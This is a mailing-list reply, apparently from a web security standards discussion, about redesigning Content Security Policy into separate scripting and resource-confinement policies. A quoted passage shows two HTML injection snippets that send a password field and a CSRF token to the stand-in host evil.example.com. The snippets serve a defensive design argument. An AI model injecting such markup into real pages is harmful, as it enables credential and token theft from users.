Re: A modest content security proposal.

On Thu, Jul 18, 2019 at 3:03 PM Craig Francis <craig.francis@gmail.com>
wrote:

> Dropbox does, e.g.
>
>     script-src ... https://www.dropbox.com/*static/compiled/js*/ ...
>

That's interesting! I see a `script-src` directive of:

"""
'unsafe-eval' https://www.dropbox.com/static/compiled/js/
https://www.dropbox.com/static/api/ https://www.dropbox.com/page_success/
https://cfl.dropboxstatic.com/static/compiled/js/
https://www.dropboxstatic.com/static/compiled/js/
https://cfl.dropboxstatic.com/static/js/
https://www.dropboxstatic.com/static/js/
https://cfl.dropboxstatic.com/static/src/dws-ensemble-appshell/
https://www.dropboxstatic.com/static/src/dws-ensemble-appshell/
https://cfl.dropboxstatic.com/static/previews/
https://www.dropboxstatic.com/static/previews/
https://cfl.dropboxstatic.com/static/api/
https://www.dropboxstatic.com/static/api/
https://cfl.dropboxstatic.com/static/cms/
https://www.dropboxstatic.com/static/cms/ 'nonce-bd/4MtKomUcNJnd6l1bf'
"""

I wonder whether any redirects exist under any of those directories?

I don't have fundamental objections to including some sort of path
restrictions in whatever we do next. I don't think they're terribly useful
as-defined in CSP3: they sincerely complicate writing a parser, and they're
more or less neutered so as to not leak data about redirects.

I'll describe my setup below, but in summary, while the initial setup took
> a few days, I was able to start with hostname only, and then I switched to
> path based restrictions one at a time.
>
> And once paths were setup, maintenance has been really easy (especially if
> the tooling exists to easily add paths to the CSP).
>

Thanks! This is interesting information! +Devdatta Akhawe
<dev@dropbox.com> might
have thoughts about the work/reward ratio that went into creating Dropbox's
list.

My "trusted" server has a folder for user uploaded content, and I always
> see that as relatively dangerous.
>

That seems like a thing that would be worth looking into changing. `
googleusercontent.com` exists for a reason. :)


> The intention is to have layers... 1. my server side code shouldn't have
>> any XSS vulnerabilities; if it does, 2. CSP should stop the loading of
>> scripts; if that fails (e.g. a legitimate script was replaced by a hacker),
>> 3. that script should be limited in what it can do to that page.
>>
>
> Nothing in this proposal (or CSP) limits the capability of a script to
> modify a given page. They both seem to limit the ability of a script to
> pull in resources, and potentially to exfiltrate data.
>
>
>
> True, modifying the current page isn't great, and I don't think there is a
> way to stop that.
>
> It does limit the script in getting information, and then applying
> modifications based on that, or pulling in even more resources (e.g. a
> crypto miner).
>
> But if that page contains sensitive data (e.g. information about someones
> disabilities), I want to do everything I can to stop that data getting out.
>
> Admittedly I'm sure there are still ways of exfiltrating, but my current
> CSP should make it difficult if the attacker has *only* managed to
> get JavaScript execution.
>
> That's where I would like the Resource Confinement to focus on... let's
> say the nonce based XSS Mitigation has failed, what now? do we just let the
> malicious JS do whatever it wants?
>

Yes.

Unless (until!) we invent a mechanism for sandboxing scripts on a page (and
WASM's import structure might be a reasonable model), nothing about the
determination of _which_ scripts to execute will have an impact on _what_
those scripts can do once they execute.

And finally, some DOM messing around can cause issues:
>>
>>    <form action="https://evil.example.com">
>>    <form action="./">
>>       <input name="password" />
>>    </form>
>>
>>    <img src='https://evil.example.com<form action="./"><input
>> name="csrf" value="abc123" />...' />...
>>
>
> These are indeed problems (along with the rest of
> http://lcamtuf.coredump.cx/postxss/).
>
>
>
> I'm fairly sure that's where I saw those problems first... but due to the
> CSP restrictions I've been able to add, with paths, I think I've got those
> issues covered as well (via form-action, img-src, and other things).
>

I suspect these will be better handled by changing the platform, a la
https://github.com/whatwg/fetch/issues/546 (which Chromium shipped, Apple
objected to, and Mozilla seemed on board with, at least conceptually).

> Maybe introduce Scripting-Policy first; then deprecate the
>> old/un-necessary parts of CSP, but still keep CSP around with a focus on
>> Resource Confinement?
>>
>
> `Scripting-Policy` is the bit I'm most interested in, to be sure. I'm
> interested in `Confinement-Policy` mostly as a way to support the
> belt-and-suspenders approach noted in
> https://csp.withgoogle.com/docs/faq.html#strict-dynamic-with-whitelists.
>
> I think it will be difficult to use `Scripting-Policy` with CSP's
> `script-src` directive (or, at least, I'd consider it a non-goal to make
> that interaction simple and easy). If we're going to run in this direction,
> I'd prefer to just do one thing. Obviously we wouldn't dump CSP tomorrow,
> but I don't think keeping both around forever is a reasonable plan.
>
>
>
> That's a good example.
>
> The `Scripting-Policy` header should be the developers first and
> main focus, where I think it would help mitigate *most* of the XSS problems.
>
> But I'd still like to apply strict Resource Confinement.
>
> Maybe the recommendation to developers should be that the CSP header is
> added by websites that want/need to apply those extra restrictions?
>
> I think the current CSP syntax works well for that, it already gives you
> host based restrictions, it already allows you to add path restrictions,
> and it does it by resource type.
>
> Doing the nonce part separately, and deprecating things which aren't
> needed any more, will leave a fairly good Confinement-Policy.
>

That might well be a reasonable approach. I think CSP's history as a
dual-use mechanism has made some things more complicated than pure resource
confinement (see `style-src`'s `'unsafe-eval'` and `'unsafe-inline'` for
instance), but perhaps we can excise those pieces over time?


> As to the websites I build, this is perhaps going a bit off topic, but
> might be useful...
>

Thanks for the description of your workflow! I found it very interesting,
but I don't have any terribly insightful feedback for you beyond that. :)

-mike